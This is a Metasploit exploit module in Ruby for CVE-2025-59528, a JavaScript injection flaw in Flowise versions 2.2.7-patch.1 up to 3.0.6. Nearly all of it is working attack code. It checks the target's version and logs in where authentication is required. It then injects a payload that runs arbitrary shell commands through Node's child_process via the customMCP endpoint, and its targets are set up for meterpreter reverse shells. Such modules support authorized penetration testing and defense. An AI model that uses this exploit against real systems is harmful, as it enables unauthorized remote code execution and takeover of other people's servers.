## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HTTP::Flowise prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Flowise JS Injection RCE', 'Description' => %q{ This module exploits a remote code execution vulnerability in Flowise versions >= 2.2.7-patch.1 and < 3.0.6. The vulnerability exists in the customMCP endpoint (/api/v1/node-load-method/customMCP) located in packages/components/nodes/tools/MCP/CustomMCP/CustomMCP.ts, which allows users to execute arbitrary commands via JavaScript code injection in the mcpServerConfig parameter using the convertToValidJSONString function that uses Function('return ' + inputString)(). For versions < 3.0.1, the exploit can work unauthenticated if FLOWISE_USERNAME and FLOWISE_PASSWORD environment variables are not configured. For versions >= 3.0.1, authentication via FLOWISE_EMAIL and FLOWISE_PASSWORD is required due to JWT token verification. }, 'Author' => [ 'Kim SooHyun (im-soohyun)', # Vulnerability discovery 'nltt0', # Original exploit PoC 'Valentin Lobstein ' # Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2025-59528'], ['EDB', '52440'] ], 'Payload' => { 'BadChars' => "\x0d\x0a\x5c\x22" # \r \n \ " }, 'Targets' => [ [ 'Unix/Linux Command', { 'Platform' => %w[unix linux], 'Arch' => ARCH_CMD, 'DefaultOptions' => { 'FETCH_COMMAND' => 'WGET' } # tested with cmd/linux/http/x64/meterpreter_reverse_tcp } ], [ 'Windows Command', { 'Platform' => 'win', 'Arch' => ARCH_CMD # tested with cmd/windows/http/x64/meterpreter_reverse_tcp } ] ], 'Privileged' => false, 'DisclosureDate' => '2025-09-13', 'DefaultTarget' => 0, 'DefaultOptions' => { 'RPORT' => 3000 }, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS] } ) ) register_options([ OptString.new('FLOWISE_EMAIL', [false, 'Flowise email for JWT auth (required for versions >= 3.0.1)', '']), OptString.new('FLOWISE_PASSWORD', [false, 'Flowise password (JWT for >= 3.0.1, Basic Auth for < 3.0.1)', '']), OptString.new('FLOWISE_USERNAME', [false, 'Flowise username for Basic Auth (required if env var is set)', '']) ]) end def check version = flowise_get_version return CheckCode::Unknown('Could not retrieve Flowise version') unless version print_status("Flowise version detected: #{version}") # Vulnerability introduced in 2.2.7-patch.1 (March 14, 2025) and fixed in 3.0.6 (September 12, 2025) # Note: Rex::Version parses "2.2.7-patch.1" as "2.2.7.pre.patch.1", so we check >= 2.2.7 if (version >= Rex::Version.new('2.2.7') || version.to_s.include?('2.2.7')) && version < Rex::Version.new('3.0.6') base_msg = '(affected: >= 2.2.7-patch.1 and < 3.0.6)' auth_msg = version >= Rex::Version.new('3.0.1') ? ' (auth required)' : ' (may work unauthenticated)' return CheckCode::Appears("#{base_msg}#{auth_msg}") end CheckCode::Safe("Version #{version} is not vulnerable") end def execute_command(cmd, _opts = {}) requires_auth = flowise_requires_auth? email = datastore['FLOWISE_EMAIL'] password = datastore['FLOWISE_PASSWORD'] has_credentials = !email.blank? && !password.blank? if requires_auth && !has_credentials fail_with(Failure::NoAccess, 'Authentication required - set FLOWISE_EMAIL and FLOWISE_PASSWORD') end if has_credentials begin flowise_login(email, password) rescue Msf::Exploit::Failed vprint_warning('Login failed, but continuing without authentication (may work for versions < 3.0.1)') unless requires_auth raise if requires_auth end end # BadChars ensures \r \n \ " are not in the payload js_payload = '{x:(function(){const cp = process.mainModule.require("child_process");' \ "cp.exec(\"#{cmd}\",()=>{});return 1;})()}" payload_data = { 'loadMethod' => 'listActions', 'inputs' => { 'mcpServerConfig' => js_payload } } opts = { username: datastore['FLOWISE_USERNAME'], password: datastore['FLOWISE_PASSWORD'] } flowise_send_custommcp_request(payload_data, opts) end def exploit fail_with(Failure::PayloadFailed, 'Failed to run payload') unless execute_command(payload.encoded) end end